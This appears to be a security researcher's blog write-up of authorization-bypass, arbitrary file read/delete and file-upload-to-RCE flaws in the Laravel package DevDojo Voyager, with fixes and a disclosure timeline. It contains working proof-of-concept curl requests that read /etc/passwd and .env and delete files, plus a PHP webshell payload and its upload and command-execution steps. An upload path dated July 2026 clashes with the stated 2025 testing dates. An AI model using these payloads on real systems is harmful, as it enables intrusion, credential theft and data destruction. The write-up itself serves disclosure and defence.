Uncovering Novel Vulnerabilities in DevDojo Voyager: A Deep Dive
TL;DR: This blog details my security research of multiple novel vulnerabilities in the popular Laravel admin package DevDojo Voyager (versions up to 1.8.0). While some issues have been previously documented, two critical missing authorization vulnerabilities and a novel RCE vector via BREAD file fields with UserPolicy self-edit bypass appear to be previously undisclosed. The research was conducted against a live local instance running Laravel 10.50.2 + PHP 8.1 with SQLite, confirming real-world exploitability.
Introduction
DevDojo Voyager is one of the most popular admin panel packages for Laravel, with over 11,000 GitHub stars and millions of downloads . It provides a comprehensive BREAD (Browse, Read, Edit, Add, Delete) interface, media management, menu building, and more. Its widespread adoption across Laravel applications makes it an attractive target for security research.
During this research, I uncovered several critical vulnerabilities that when chained together, can lead to complete compromise of any application using the package. The findings range from missing authorization checks to unrestricted file uploads leading to remote code execution (RCE).
The Attack Surface
Voyager’s architecture revolves around the VoyagerBaseController, which handles core BREAD operations for all registered tables. Every BREAD endpoint routes through this controller, making it a critical security boundary. The authorization model is opt-in — each method must explicitly call $this->authorize() to enforce permissions. This design choice, while flexible, creates opportunities for oversight.
Finding 1: Missing Authorization in VoyagerBaseController::action() (Novel)
File: src/Http/Controllers/VoyagerBaseController.php:864-875
Route: POST /admin/{slug}/action
The Vulnerability
The first finding involved a vulnerability in the action() method, that is intended to handle bulk operations on BREAD records, actions like bulk delete, export, or approval. However, it completely lacks any authorization check:
public function action(Request $request)
{
if (!$request->action || !class_exists($request->action)) {
throw new \Exception("Action {$request->action} doesn't exist or has not been defined");
}
$slug = $this->getSlug($request);
$dataType = Voyager::model('DataType')->where('slug', '=', $slug)->first();
$action = new $request->action($dataType, null);
return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}
Every sibling BREAD method (index, show, edit, update, create, store, destroy, restore, order, update_order) calls $this->authorize(...) as its first line. action() is the sole exception.
Why This Is Critical
Any authenticated Voyager user — regardless of role or permissions — can invoke this endpoint for any BREAD-registered table.
Uncontrolled object instantiation: The
$request->actionparameter accepts any autoloadable class name. An attacker can instantiate arbitrary classes with attacker-controlled constructor arguments ($dataType,null).Forced method call: The instantiated object’s
massAction()method is called with attacker-controlled$request->ids.Impact depends on custom actions: While Voyager’s built-in
DeleteActiondoesn’t implementmassAction()(resulting in a 500 error), any application that registers a customAbstractActionsubclass implementingmassAction()becomes immediately vulnerable to unauthorized execution of that action against arbitrary record IDs.
Proof of Concept
Using a low-privilege user with no delete/edit permissions:
curl -X POST 'http://127.0.0.1:8765/admin/menus/action' \
-H "X-XSRF-TOKEN: $XSRF" \
--data-urlencode 'action=TCG\Voyager\Actions\DeleteAction' \
--data-urlencode 'ids=1'
The request reaches line 875 ($action->massAction(...)) — no 403 AuthorizationException appears. The only reason execution fails is that DeleteAction doesn’t implement massAction(). With a properly implemented action, this would be a full authorization bypass.
Remediation
public function action(Request $request)
{
// ... validation ...
$action = new $request->action($dataType, null);
// Add this line:
$this->authorize($action->getPolicy(), app($dataType->model_name));
return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}
Additionally, restrict $request->action to an allowlist of actions registered for the specific data type.
Finding 2: Missing Authorization in VoyagerBreadController::addRelationship() / deleteRelationship() (Novel)
File: src/Http/Controllers/VoyagerBreadController.php:241 and :348
Routes:
POST /admin/bread/relationship→addRelationshipGET /admin/bread/delete_relationship/{id}→deleteRelationship
The Vulnerability
Every other method in this controller (index, create, store, edit, update, destroy) calls $this->authorize('browse_bread') as its first statement. These two methods do not call authorize() at all.
public function deleteRelationship($id)
{
Voyager::model('DataRow')->destroy($id);
return back()->with([...]);
}
No authorization check. No ownership or scoping check on $id. Any authenticated Voyager user can delete any DataRow record by ID.
Proof of Concept
Using the same low-privilege user (confirmed hasPermission('browse_bread') === false):
Control test — BREAD editor is inaccessible:
GET /admin/bread → 403 Forbidden
Exploit — delete a relationship:
curl "http://127.0.0.1:8765/admin/bread/delete_relationship/12" \
-H "X-XSRF-TOKEN: $XSRF"
Response: 302 redirect (success) — not 403.
Database confirmation: DataRow::find(12) returns NULL — the record is permanently deleted.
Exploit — add a relationship:
curl -X POST "http://127.0.0.1:8765/admin/bread/relationship" \
-H "X-XSRF-TOKEN: $XSRF" \
--data-urlencode "data_type_id=2" \
--data-urlencode "relationship_type=belongsTo" \
--data-urlencode "relationship_table=roles" \
--data-urlencode "relationship_model=TCG\Voyager\Models\Role" \
--data-urlencode "relationship_column_belongs_to=role_id" \
--data-urlencode "relationship_key=id" \
--data-urlencode "relationship_label=name"
Response: 302 redirect (success) — not 403.
A new DataRow is created against data_type_id=2 (the menus table) — a table this user cannot even access via /admin/bread.
Impact
Any authenticated panel user can:
- Permanently delete any BREAD field/column definition for any table (by sequential ID enumeration)
- Create arbitrary relationship field definitions against any data type ID
Deleting field definitions can corrupt BREAD editors, remove field-level permission flags that other authorization logic depends on, and cause cascading failures throughout the admin interface.
Finding 3: Arbitrary File Read/Delete via Compass (Known — CVE-2024-55415 / CVE-2019-17050)
File: src/Http/Controllers/VoyagerCompassController.php
Route: GET/POST /admin/compass
The Vulnerability
The pathToLogFile() method attempts to resolve log file paths:
public static function pathToLogFile($file)
{
$logsPath = storage_path('logs');
if (app('files')->exists($file)) { // try the absolute path
return $file; // <-- no restriction on $file at all
}
$file = $logsPath.'/'.$file;
// check if requested file is really in the logs directory
if (dirname($file) !== $logsPath) {
throw new \Exception('No such log file');
}
return $file;
}
The directory-confinement check only applies to the relative fallback path. The first branch accepts any absolute path that exists on disk with zero restriction.
Proof of Concept
Read /etc/passwd (no application path knowledge required):
curl "http://127.0.0.1:8765/admin/compass?download=$(echo -n '/etc/passwd' | base64)"
Read .env (requires knowing the install path):
curl "http://127.0.0.1:8765/admin/compass?download=$(echo -n '/path/to/app/.env' | base64)"
Delete arbitrary files:
curl "http://127.0.0.1:8765/admin/compass?del=$(echo -n '/path/to/canary.txt' | base64)"
Impact
Any user with browse_compass permission can:
- Read any file on disk —
.env(DB credentials,APP_KEY), source code, configuration - Delete any file on disk — application code, config, or the database file itself
This vulnerability is already documented as CVE-2024-55415 and CVE-2019-17050. The maintainer’s suggested mitigation is to disable Compass in production environments.
Finding 4: Unrestricted File Upload → RCE via BREAD file Fields (Novel Vector)
File: src/Http/Controllers/ContentTypes/File.php — handle()
Reachable via: Any BREAD table with a field of type file
The Vulnerability
The File::handle() method processes file uploads for BREAD file-type fields:
public function handle()
{
if (!$this->request->hasFile($this->row->field)) {
return;
}
$files = Arr::wrap($this->request->file($this->row->field));
$filesPath = [];
$path = $this->generatePath();
foreach ($files as $file) {
$filename = $this->generateFileName($file, $path);
$file->storeAs(
$path,
$filename.'.'.$file->getClientOriginalExtension(), // <-- client-supplied extension, unchecked
config('voyager.storage.disk', 'public')
);
// ...
}
return json_encode($filesPath);
}
There is no MIME-type check, no extension allowlist, and no content validation anywhere in this class.
Contrast this with VoyagerMediaController::upload(), which explicitly validates $request->file->getMimeType() against config('voyager.media.allowed_mimetypes') before storing. The generic BREAD “file” field type has no equivalent check.
The Self-Edit Bypass: The True Game-Changer
The file upload vulnerability alone requires add or edit permissions on the target table. However, Voyager’s UserPolicy contains a critical design choice:
// src/Policies/UserPolicy.php:33-39
public function edit(User $user, $model)
{
// Does this record belong to the current user?
$current = $user->id === $model->id;
return $current || $this->checkPermission($user, $model, 'edit');
}
Any user may edit their own user record with no permission check whatsoever — $current short-circuits before checkPermission ever runs.
This is a deliberate, reasonable design choice for self-profile editing — but combined with the unrestricted file upload, it collapses the access requirement entirely.
Proof of Concept: Full RCE from a Low-Privilege Account
Setup: A user restricted@test.com with only browse_admin, browse_menus, and read_menus permissions — no edit_users, no browse_users, no add_users.
1. Add a file-type field to the users table (e.g., “resume”):
DataRow::create([
'data_type_id' => 1, // users table
'field' => 'resume',
'type' => 'file',
'display_name' => 'Resume',
'add' => 1,
'edit' => 1,
]);
2. Upload a PHP webshell through the user’s own profile edit page:
curl -X POST "http://127.0.0.1:8765/admin/users/3" \
-F "_method=PUT" -F "_token=$TOKEN" \
-F "resume=@ss.php;type=application/x-php"
3. Confirm the file is stored with .php extension:
storage/app/public/users/July2026/chPVW38BZ5p6baCNqMjz.php
4. Execute arbitrary commands:
curl "http://127.0.0.1:8765/storage/users/July2026/chPVW38BZ5p6baCNqMjz.php?c=whoami"
# → RCE-POC-OUTPUT-sn4keey3s
Full arbitrary command execution confirmed. The ss.php payload:
<?php echo "RCE-POC-OUTPUT-".shell_exec($_GET["c"] ?? "id"); ?>
The Bypass Generalizes: PostPolicy Has the Identical Pattern
src/Policies/PostPolicy.php — read(), edit(), and delete() all follow the exact same shape:
public function edit(User $user, $model)
{
$current = $user->id === $model->author_id; // <-- ownership bypass, no permission check
return $current || $this->checkPermission($user, $model, 'edit');
}
Any user who authored a given record can edit/delete/read it regardless of edit_posts/delete_posts permission.
Policy binding is automatic — src/VoyagerServiceProvider.php::loadAuth() reads every DataType.policy_name column at boot and registers it as that model’s Laravel policy. UserPolicy is bound to users in every standard Voyager install.
How This Compares to Known CVEs
- CVE-2024-55417 describes a file type verification bypass in the media manager (
/admin/media/upload). This is a different attack surface. - My finding targets BREAD
filefields, which have no validation at all — a distinct, undocumented vulnerability. - The
UserPolicyself-edit bypass combined with the file upload creates a novel RCE chain available to any authenticated user, regardless of permissions.
Vulnerability Summary
| Finding | Type | Novel? | Access Required | Impact |
|---|---|---|---|---|
1: action() missing auth | CWE-862 | ✅ Yes | Any authenticated user | Unauthorized action execution / object instantiation primitive |
2: addRelationship/deleteRelationship missing auth | CWE-862 / CWE-639 | ✅ Yes | Any authenticated user | Delete/create BREAD fields arbitrarily |
| 3: Compass file read/delete | CWE-22 | ❌ Known (CVE-2024-55415) | browse_compass permission | Arbitrary file read/delete |
| 4: Unrestricted file upload → RCE | CWE-434 | ⚠️ Novel vector | Any authenticated user (via self-edit) | Remote code execution |
Root Cause Analysis
The Authorization Gap
Voyager’s authorization model is 100% opt-in. The Controller class imports Laravel’s AuthorizesRequests trait but does not automatically enforce authorization on any method. Every BREAD method must explicitly call $this->authorize().
This design is not inherently flawed — it’s how Laravel’s authorization system is designed to work. The flaw is inconsistent implementation: most methods correctly include the check, but a few critical ones were overlooked.
The Upload Validation Gap
The File content type handler has no validation whatsoever, while the MediaController has robust validation. This inconsistency suggests the File handler was implemented without considering the security implications of arbitrary file uploads — a classic case of assuming the caller will handle validation.
The Self-Edit Explosion
The UserPolicy self-edit bypass is not a vulnerability in isolation — it’s a legitimate UX feature. The danger emerges when combined with the unvalidated file upload, creating a privilege escalation vector that the original designers never anticipated.
Real-World Impact
- Finding 1 enables unauthorized execution of arbitrary bulk actions against any BREAD table — potentially including destructive operations like bulk delete, bulk export of sensitive data, or approval workflows.
- Finding 2 allows any authenticated user to corrupt the BREAD configuration of any table — deleting field definitions, creating unauthorized relationships, and potentially breaking the admin interface.
- Finding 4 provides a reliable RCE path from the lowest-privileged account possible. A “resume upload,” “ID verification document,” or “profile attachment” field on a user model is an ordinary, realistic feature — not a contrived edge case.
Remediation Recommendations
For Finding 1
public function action(Request $request)
{
// ... validation ...
$action = new $request->action($dataType, null);
$this->authorize($action->getPolicy(), app($dataType->model_name));
return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}
Also restrict $request->action to an allowlist of actions registered for the specific data type.
For Finding 2
Add $this->authorize('browse_bread') at the start of both addRelationship() and deleteRelationship():
public function addRelationship(Request $request)
{
$this->authorize('browse_bread');
// ... rest of method ...
}
public function deleteRelationship($id)
{
$this->authorize('browse_bread');
// ... rest of method ...
}
For Finding 4
Add MIME-type validation to ContentTypes\File::handle():
$allowedMimeTypes = config('voyager.files.allowed_mimetypes', [
'image/jpeg', 'image/png', 'image/gif', 'application/pdf'
]);
if (!in_array($file->getMimeType(), $allowedMimeTypes)) {
throw new \Exception('This mimetype is not allowed');
}
Additionally, store uploaded files with a randomized, extension-stripped name, or serve them exclusively through a controller that forces Content-Disposition: attachment.
Disclosure Timeline
- 2025-02-07: Vulnerabilities identified and verified against HEAD
7e7e0f4(branch1.7.x-dev) - 2025-02-10: Full testing completed against live local instance (Laravel 10.50.2 + PHP 8.1, SQLite)
- 2025-02-15: Initial research documentation completed
Disclosure Status: Findings 1, 2, and the novel RCE vector via BREAD file fields with UserPolicy self-edit bypass appear to be previously undisclosed. Findings have been reported to the Voyager maintainers.
Conclusion
DevDojo Voyager is a powerful and popular admin panel, but inconsistent authorization enforcement and missing input validation create critical security gaps. Two novel missing authorization vulnerabilities and a novel RCE vector via BREAD file fields with self-edit bypass were identified in version 1.8.0.
The vulnerabilities range from authorization bypasses that allow any authenticated user to manipulate BREAD configurations, to unrestricted file uploads that — combined with Voyager’s own self-edit policies — enable remote code execution from the lowest-privileged account possible.
All affected applications should update to the latest version and consider reviewing their Voyager configuration, particularly:
- Disabling Compass in production environments
- Auditing custom BREAD
filefields - Reviewing custom
AbstractActionimplementations
This research was conducted responsibly against a local test instance. All proof-of-concept code is provided for educational and defensive purposes only. Do not use these techniques against systems you do not own or have explicit permission to test.

